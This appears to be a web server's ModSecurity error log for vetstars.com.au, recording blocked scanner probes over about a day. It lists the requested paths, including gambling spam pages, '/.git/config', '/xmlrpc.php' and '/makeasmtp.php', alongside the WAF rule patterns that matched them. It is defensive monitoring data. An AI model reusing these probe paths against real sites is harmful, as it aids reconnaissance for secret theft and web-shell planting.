[Wed Feb 04 05:40:47.566624 2026] [:error] [pid 18816:tid 18833] [client 145.239.65.133:40936] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYJrX8szZcOol_Iv-0U3ZgAAAQ4"]
[Wed Feb 04 05:40:50.173889 2026] [:error] [pid 47676:tid 47692] [client 145.239.65.133:40944] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYJrYgrYSkTgZEfUDqFqXwAAAM4"]
[Wed Feb 04 05:40:52.926388 2026] [:error] [pid 47578:tid 47634] [client 145.239.65.133:40958] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYJrZJ5oatM9u8-yDv_xYwAAAFM"]
[Wed Feb 04 05:40:55.685268 2026] [:error] [pid 47578:tid 47616] [client 145.239.65.133:40960] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYJrZ55oatM9u8-yDv_xZQAAAEE"]
[Wed Feb 04 05:40:58.142452 2026] [:error] [pid 18816:tid 18834] [client 145.239.65.133:46128] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYJrasszZcOol_Iv-0U3gQAAAQ8"]
[Wed Feb 04 05:41:00.749507 2026] [:error] [pid 47577:tid 47585] [client 145.239.65.133:46138] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYJrbKvA4Yp0Sov-3kT30gAAAAQ"]
[Wed Feb 04 05:41:03.490474 2026] [:error] [pid 47578:tid 47627] [client 145.239.65.133:46144] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYJrb55oatM9u8-yDv_xcQAAAEw"]
[Wed Feb 04 05:41:06.095836 2026] [:error] [pid 47676:tid 47682] [client 145.239.65.133:58206] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYJrcgrYSkTgZEfUDqFqdwAAAMQ"]
[Wed Feb 04 05:41:08.849240 2026] [:error] [pid 47577:tid 47602] [client 145.239.65.133:58208] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYJrdKvA4Yp0Sov-3kT32wAAABU"]
[Wed Feb 04 05:41:11.448970 2026] [:error] [pid 18816:tid 18819] [client 145.239.65.133:58218] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYJrd8szZcOol_Iv-0U3pwAAAQA"]
[Wed Feb 04 05:41:57.458590 2026] [:error] [pid 47579:tid 47666] [client 145.239.65.133:58226] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYJrpfuxWks846_Vi2zFbgAAAJY"]
[Wed Feb 04 05:42:00.213037 2026] [:error] [pid 18816:tid 18823] [client 145.239.65.133:47160] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYJrqMszZcOol_Iv-0U39wAAAQQ"]
[Wed Feb 04 05:42:02.961254 2026] [:error] [pid 47579:tid 47653] [client 145.239.65.133:47170] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYJrqvuxWks846_Vi2zFcgAAAIk"]
[Wed Feb 04 05:42:05.719999 2026] [:error] [pid 47676:tid 47691] [client 145.239.65.133:47176] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYJrrQrYSkTgZEfUDqFq6QAAAM0"]
[Wed Feb 04 05:42:08.481220 2026] [:error] [pid 18816:tid 18833] [client 145.239.65.133:50762] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYJrsMszZcOol_Iv-0U4AQAAAQ4"]
[Wed Feb 04 05:42:11.081289 2026] [:error] [pid 47579:tid 47657] [client 145.239.65.133:50768] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYJrs_uxWks846_Vi2zFfAAAAI0"]
[Wed Feb 04 05:42:13.679166 2026] [:error] [pid 47579:tid 47654] [client 145.239.65.133:50780] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYJrtfuxWks846_Vi2zFgQAAAIo"]
[Wed Feb 04 05:42:16.281215 2026] [:error] [pid 47676:tid 47695] [client 145.239.65.133:52454] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYJruArYSkTgZEfUDqFq_gAAANE"]
[Wed Feb 04 05:42:18.876609 2026] [:error] [pid 47579:tid 47652] [client 145.239.65.133:52460] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYJruvuxWks846_Vi2zFhQAAAIg"]
[Wed Feb 04 05:42:21.478699 2026] [:error] [pid 18816:tid 18837] [client 145.239.65.133:52468] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYJrvcszZcOol_Iv-0U4KAAAARI"]
[Wed Feb 04 05:42:24.221183 2026] [:error] [pid 18816:tid 18831] [client 145.239.65.133:52476] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYJrwMszZcOol_Iv-0U4MwAAAQw"]
[Wed Feb 04 06:25:22.438023 2026] [:error] [pid 47579:tid 47650] [client 34.187.207.237:43736] [client 34.187.207.237] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aYJ10vuxWks846_Vi2zSXwAAAIY"]
[Wed Feb 04 08:32:21.980213 2026] [:error] [pid 18816:tid 18835] [client 45.92.1.79:54330] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYKTlcszZcOol_Iv-0V8pwAAARA"]
[Wed Feb 04 08:32:23.168357 2026] [:error] [pid 18816:tid 18830] [client 45.92.1.79:54934] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYKTl8szZcOol_Iv-0V82wAAAQs"]
[Wed Feb 04 08:32:24.351629 2026] [:error] [pid 47579:tid 47652] [client 45.92.1.79:55483] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYKTmPuxWks846_Vi2z1wQAAAIg"]
[Wed Feb 04 08:32:25.526620 2026] [:error] [pid 47676:tid 47694] [client 45.92.1.79:55861] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYKTmQrYSkTgZEfUDqGkkgAAANA"]
[Wed Feb 04 08:32:26.705718 2026] [:error] [pid 18816:tid 18832] [client 45.92.1.79:56126] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYKTmsszZcOol_Iv-0V9CQAAAQ0"]
[Wed Feb 04 09:52:53.451683 2026] [proxy_fcgi:error] [pid 47579:tid 47666] [client 18.192.166.72:50454] AH01067: Failed to read FastCGI header, referer: https://vetstars.com.au/
[Wed Feb 04 09:52:53.451805 2026] [proxy_fcgi:error] [pid 47579:tid 47666] (104)Connection reset by peer: [client 18.192.166.72:50454] AH01075: Error dispatching request to : , referer: https://vetstars.com.au/
[Wed Feb 04 13:47:33.552966 2026] [:error] [pid 50578:tid 50602] [client 43.153.48.240:43926] [client 43.153.48.240] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYLdddYUQBXdXxfW1mcQkwAAABY"]
[Wed Feb 04 16:41:05.038789 2026] [:error] [pid 47406:tid 47485] [client 185.141.119.83:50930] [client 185.141.119.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.141.119.83, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYMGIQeu9R9b-_wtQ0IIoQAAARI"], referer: https://vetstars.com.au/
[Wed Feb 04 19:12:53.180172 2026] [:error] [pid 55160:tid 55175] [client 136.109.138.13:60590] [client 136.109.138.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aYMpteTAiAYDLSDaxdcmggAAAY0"]
[Wed Feb 04 20:04:48.106994 2026] [:error] [pid 8285:tid 8292] [client 20.210.129.57:1033] [client 20.210.129.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aYM14BpweS7ndDaunz_jpwAAAEU"]
[Wed Feb 04 20:04:48.598734 2026] [:error] [pid 50578:tid 50591] [client 20.210.129.57:5221] [client 20.210.129.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aYM14NYUQBXdXxfW1mdmiQAAAAs"]
[Wed Feb 04 20:04:49.091401 2026] [:error] [pid 55160:tid 55178] [client 20.210.129.57:10461] [client 20.210.129.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aYM14eTAiAYDLSDaxdc46wAAAZA"]
[Wed Feb 04 20:04:49.592840 2026] [:error] [pid 55160:tid 55186] [client 20.210.129.57:10458] [client 20.210.129.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aYM14eTAiAYDLSDaxdc47AAAAZg"]
[Thu Feb 05 01:34:34.458885 2026] [:error] [pid 63685:tid 63738] [client 81.167.26.57:63095] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYODKo6Dyg716yRb8FClkwAAANY"]
[Thu Feb 05 01:34:37.258504 2026] [:error] [pid 63684:tid 63708] [client 81.167.26.57:29244] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYODLdsfhS3nNwjjsUPNjwAAAJM"]
[Thu Feb 05 01:34:40.085787 2026] [:error] [pid 63685:tid 63737] [client 81.167.26.57:28710] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYODMI6Dyg716yRb8FCloAAAANU"]
[Thu Feb 05 01:34:43.802451 2026] [:error] [pid 63777:tid 63790] [client 81.167.26.57:64679] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYODM_Q-YVerd_zSVS-J9gAAAAs"]
[Thu Feb 05 01:34:46.778412 2026] [:error] [pid 26443:tid 26469] [client 81.167.26.57:31622] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYODNtRUJ4b_jBAfhPJujQAAAVg"]
[Thu Feb 05 01:34:53.700992 2026] [:error] [pid 63777:tid 63796] [client 81.167.26.57:39715] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYODPfQ-YVerd_zSVS-J_QAAABE"]
[Thu Feb 05 01:34:57.499293 2026] [:error] [pid 26443:tid 26459] [client 81.167.26.57:30144] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYODQdRUJ4b_jBAfhPJuogAAAU4"]
[Thu Feb 05 01:35:00.615121 2026] [:error] [pid 63777:tid 63782] [client 81.167.26.57:12623] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYODRPQ-YVerd_zSVS-KEAAAAAM"]
[Thu Feb 05 01:35:03.868182 2026] [:error] [pid 26443:tid 26457] [client 81.167.26.57:51057] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYODR9RUJ4b_jBAfhPJuqwAAAUw"]
[Thu Feb 05 01:35:06.972828 2026] [:error] [pid 63777:tid 63780] [client 81.167.26.57:41452] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYODSvQ-YVerd_zSVS-KHgAAAAE"]
[Thu Feb 05 01:35:12.507880 2026] [:error] [pid 63777:tid 63781] [client 81.167.26.57:42359] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYODUPQ-YVerd_zSVS-KKgAAAAI"]
[Thu Feb 05 01:35:17.843950 2026] [:error] [pid 63684:tid 63696] [client 81.167.26.57:4952] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYODVdsfhS3nNwjjsUPNvQAAAIc"]
[Thu Feb 05 01:35:21.101046 2026] [:error] [pid 63686:tid 63758] [client 81.167.26.57:10614] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYODWRyaRl9O5jmngTwbBAAAAQ8"]
[Thu Feb 05 01:36:09.891940 2026] [:error] [pid 63684:tid 63711] [client 49.235.136.28:41918] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYODidsfhS3nNwjjsUPOAAAAAJY"]
[Thu Feb 05 01:37:05.334118 2026] [:error] [pid 63685:tid 63716] [client 81.167.26.57:62880] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aYODwY6Dyg716yRb8FCm6QAAAMA"]
[Thu Feb 05 01:37:09.269851 2026] [:error] [pid 63685:tid 63738] [client 81.167.26.57:59485] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYODxY6Dyg716yRb8FCm8wAAANY"]
[Thu Feb 05 01:38:42.327918 2026] [:error] [pid 63686:tid 63755] [client 81.167.26.57:50833] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYOEIhyaRl9O5jmngTwcGwAAAQw"]
[Thu Feb 05 01:38:47.919328 2026] [:error] [pid 63685:tid 63737] [client 81.167.26.57:22100] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYOEJ46Dyg716yRb8FCnvAAAANU"]
[Thu Feb 05 01:39:02.111687 2026] [:error] [pid 63686:tid 63754] [client 81.167.26.57:8318] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aYOENhyaRl9O5jmngTwcNgAAAQs"]
[Thu Feb 05 01:39:26.174851 2026] [:error] [pid 63685:tid 63720] [client 81.167.26.57:14837] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYOETo6Dyg716yRb8FCn9wAAAMQ"]
